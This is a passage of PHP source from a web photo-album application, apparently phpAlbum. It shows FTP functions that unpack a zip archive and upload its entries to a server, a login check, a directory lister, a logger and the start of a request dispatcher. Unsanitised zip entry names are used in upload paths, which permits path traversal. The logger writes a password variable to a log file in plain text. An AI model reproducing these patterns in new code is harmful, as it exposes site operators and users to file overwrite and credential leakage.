	$tmp=$cache_dir."tmp.file";
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	if(function_exists('zip_open')){
		$zip=zip_open($local);
		if($zip){
			while($zip_entry=zip_read($zip)){
				if(zip_entry_filesize($zip_entry)>0){
					if (zip_entry_open($zip, $zip_entry, "rb")) {
					   $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
		           	   $ft=fopen($tmp,"wb");
		           	   if($ft){
		         	   		fwrite($ft,$buf,zip_entry_filesize($zip_entry));
		           	   		fclose($ft);
		           	   }else{
		           	   		ftp_close($conn);return "unable to open temporary file";
		           	   }
		           	   		
		           	   if(!ftp_put($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry),$tmp,FTP_BINARY)){
		    			   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.dirname(zip_entry_name($zip_entry)));
							if(!$result){ ftp_close($conn);return "Unable to create directory ".dirname(zip_entry_name($zip_entry))." on ftp server";}
							if(!ftp_put($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry),$tmp,FTP_BINARY)){ftp_close($conn);return "Unable to upload file ".zip_entry_name($zip_entry);}
		           	   }
		           	   zip_entry_close($zip_entry);
		       		}
				}else{
				   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry));
					if(!$result){
						ftp_close($conn);return "Unable to create directory $p_dir on ftp server";
   					}
				}
			}
		}else{
			ftp_close($conn);return "Not a zip file or not supported format!";
		}
	}else{
		ftp_close($conn);return "No ZIP-Support in PHP installed!";
	}
	
	
	$result=ftp_close($conn);
	return "";
}


function ftp_check_login($p_user,$p_pass){
	/*create test file, upload and thest if it comes to the right directory*/
	global $ftp_server,$ftp_server_photos_dir,$album_dir,$cache_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn); return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn); return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.".");
	if(!$result){
		ftp_close($conn); return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	$test=md5(time());
	$f=fopen($cache_dir.".test","w"); fwrite($f,$test); fclose($f);
	
   	if(!ftp_put($conn,".test",$cache_dir.".test",FTP_BINARY)){ftp_close($conn); return "Unable to upload file testfile!";}
	
	$ff=file($album_dir.".test");
	if($ff[0]!=$test){
		ftp_close($conn);
		return "Ftp-server photos directory points to another directory not to the photos";
	}
	$result=ftp_delete($conn,".test");	
	
	$result=ftp_close($conn);
	return "";
	
}
function my_cmp($a,$b){
	if($a['type']==$b['type']){
		if($a['name']==$b['name']) return 0;
		return ($a['name'] < $b['name']) ? -1 : 1;
	}
	if($a['type']=="dir") return -1;
	return 1;
}
function ftp_get_files($actdir){
  global $album_dir;
  $files=Array(); 
  $dir=$album_dir.$actdir;
  if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
       	   $f=Array();
           if( filetype($dir . $file)=="dir" ){
  	      $f['type']="dir";
	   }else{
  	      $f['type']="file";
	   }
	   $f['name']=$file;
	   $f['size']=filesize($dir."/".$file)." B";	
	   if(is_image($file)){
	   	list($width,$height)=getimagesize($dir."/".$file);
	   	$f['image_size']=$width." x ".$height;
	   }
	   if(function_exists('posix_getpwuid')){
	   		$ow=posix_getpwuid(fileowner($dir."/".$file));
	   		$f['owner']=$ow['name'];
	   }else{
	   		$f['owner']=fileowner($dir."/".$file);
	   }
	   if(function_exists('posix_getgrgid')){
		   $gr=posix_getgrgid(filegroup($dir."/".$file));
		   $f['group']=$gr['name'];
	   }else{
	   	   $f['group']=filegroup($dir."/".$file);
	   }
	   $f['time']=date("d.m.Y H:i:s",filectime($dir."/".$file));
	   if($f['type']=="dir" && $f['name']!=".." && $f['name']!="."){
	   	$f['func']="<a class=\"mex\" href=\"main.php?cmd=setup&var1=admin&var2=rmdir&p_dir=".urlencode(conv_out($file))."\">remove_dir</a>";
	   }else if($f['type']=="file"){
	   	$f['func']="<a class=\"mex\" href=\"main.php?cmd=setup&var1=admin&var2=delete&p_file_name=".urlencode(conv_out($file))."\">delete</a>";
	   }


	   $files[]=$f;
	}
       closedir($dh);
    }
  }
	if(is_array($files)) usort($files,"my_cmp");
	return $files;
}
/**********************************************************/
/**************END  FTP Functions *************************/
/**********************************************************/

function write_log(){
global $logs_enabled,$logs_exclude,$cmd,$var1,$logs_filename,$cache_dir,$passwd,$comment_name;
	if($logs_enabled=="true"){
	  $strings=explode(";",$logs_exclude);
	  $found="false";
	  $host=gethostbyaddr($_SERVER['REMOTE_ADDR']);
	  foreach($strings as $num=>$string){
	  	if(strlen($string)>0)
	  		if(strstr($host,$string))$found="true";
	  }
	  if($found=="false"){
	  	$file_log=fopen($cache_dir.$logs_filename,"a");
	  	fwrite($file_log,date("D.M.j G:i:s")."|".$cmd."|".$var1."|".$comment_name."|".$host."|".$passwd."\n");
	  	fclose($file_log);
	  }
	}
}

function generate_theme($var1){
	if($var1=="style_css"){
		theme_get_style_css();
		return;
	}
}

/****************************************/
/*      Start Program v0.               */
/****************************************/

/*ob_start*/
if(isset($_GET['cmd'])){
	$cmd=$_GET['cmd'];
}
if(isset($_GET['var1'])){
	$var1=$_GET['var1'];
}
if(isset($_GET['var2'])){
	$var2=$_GET['var2'];
}
if(isset($_GET['var3'])){
	$var3=$_GET['var3'];
}
if(isset($_GET['var4'])){
	$var4=$_GET['var4'];
}


if(isset($_POST['cmd'])){
	$cmd=$_POST['cmd'];
}
if(isset($_POST['var1'])){
	$var1=$_POST['var1'];
}
if(isset($_POST['var2'])){
	$var2=$_POST['var2'];
}
if(isset($_POST['var3'])){
	$var3=$_POST['var3'];
}
if(isset($_POST['var4'])){
	$var4=$_POST['var4'];
}
$p=$_POST['p'];

if($cmd!="album" &&
$cmd!="phpinfo" &&
$cmd!="thmb" &&
$cmd!="image" &&
$cmd!="imageview" &&
$cmd!="setup" &&
$cmd!="delcache" &&
$cmd!="logo" &&
$cmd!="theme" &&
$cmd!="dir_logo" &&
//$cmd!="system_check" &&
$cmd!="setquality"){

$cmd="album";
}
read_settings();

require($themes_dir."engines/".$site_engine."/engine.php");
require("language.php");
/*if(file_exists($themes_dir.$site_theme."/theme.php")){
	include($themes_dir.$site_theme."/theme.php");
}else{
	include($themes_dir."Flowing_Dark"."/theme.php");
}
*/

theme_initialize();

if($cmd=="setquality"){
	$quality=$var1;
	setcookie("phpAlbum_quality",$quality,time()+60*60*24*365);
	$cmd="album";$var1=$var2;$var2="";$var3="";
}else{
	if(isset($_COOKIE["phpAlbum_quality"])){
		$quality=$_COOKIE["phpAlbum_quality"];
	}else{
	        $quality=$quality_settings[0][6]*0+$quality_settings[1][6]*1+$quality_settings[2][6]*2;
	}
	if($quality_sett